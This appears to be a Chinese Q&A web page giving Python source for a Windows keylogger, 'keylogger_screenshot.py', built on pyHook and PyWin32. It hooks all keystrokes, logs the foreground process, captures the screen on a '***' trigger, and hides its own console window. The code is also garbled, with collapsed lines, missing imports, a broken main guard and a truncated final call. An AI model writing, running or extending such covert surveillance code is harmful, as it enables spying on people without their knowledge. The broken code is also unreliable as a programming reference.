以下是实现代码:

-- coding: UTF-8 --

##############################################################################

程序名:keylogger_screenshot.py

功能:利用Python第三方库PyHook和PyWin32实现键盘记录和截屏

说 明:运行平台Windows。它利用Windows的SetWindowsHookEx函数注册了一个自

定义的钩子函数,通过函数就能截获用户的按键消息,并在用户连续输入

“*”时对屏幕进行截图,并以图片形式保存。

##############################################################################

import win32api import win32gui import win32ui import win32con import pyHook import pythoncom

全局变量

count = 0 # 记录连续输入“*”的次数 hdesktop = win32gui.GetDesktopWindow() # 获得桌面窗口句柄 width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN) # 获得显示器尺寸 height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN) left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN) top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)

def get_current_process(): hwnd = win32gui.GetForegroundWindow() # 获得前台窗口句柄 pid = win32api.GetWindowThreadProcessId(hwnd) # 获得进程PID process_name = win32process.GetModuleFileNameEx( win32api.OpenProcess(win32con.PROCESS_QUERY_INFORMATION | win32con.PROCESS_VM_READ, False, pid[1]), 0) # 获得进程名

print("[ PID: %s - %s ]" % (pid[1], process_name))

def screen_shot(): global count

desktop_dc = win32gui.GetWindowDC(hdesktop)  # 创建设备描述表
img_dc = win32ui.CreateDCFromHandle(desktop_dc)
mem_dc = img_dc.CreateCompatibleDC()  # 创建基于内存的设备描述表

screenshot = win32ui.CreateBitmap()
screenshot.CreateCompatibleBitmap(img_dc, width, height)  # 创建位图对象
mem_dc.SelectObject(screenshot)
mem_dc.BitBlt((0, 0), (width, height), img_dc, (left, top), win32con.SRCCOPY)  # 复制屏幕
# screenshot.SaveBitmapFile(mem_dc, 'C:/screen.bmp')  # 将位图保存到文件
# 保存到文件
screenshot.SaveBitmapFile(mem_dc, 'C:/Users/20205/PycharmProjects/pythonProject/screen.bmp')

# 内存释放
mem_dc.DeleteDC()
win32gui.DeleteObject(screenshot.GetHandle())

count = 0  # 重置计数器

def key_event(event): global count

if event.Ascii == 42:  # 检查是否输入“*”
    count += 1
    if count >= 3:  # 连续输入3次“*”时截图
        screen_shot()
else:
    count = 0

return True  # 返回到下一个钩子事件

def key_logger(): hooker = pyHook.HookManager() # 创建钩子函数管理器 hooker.KeyDown = key_event # 注册钩子按键事件的处理函数 hooker.HookKeyboard() # 创建键盘钩子 pythoncom.PumpMessages()

if name == 'main': # 隐藏进程 win32gui.ShowWindow(win32console.GetConsoleWindow(), 0) get_current_process() key_logger(

参考以下两个代码:# -- coding UTF-8 --############################################################################### 程序名:screenshotpy# 功能:利用Python第三方库PyWin32实现截取屏幕功能将截取的屏幕保存在C盘# 上的文件screenbmp中。# 说 明:运行平台W

原文地址: http://www.cveoy.top/t/topic/cSBo 著作权归作者所有。请勿转载和采集!

免费AI点我,无需注册和登录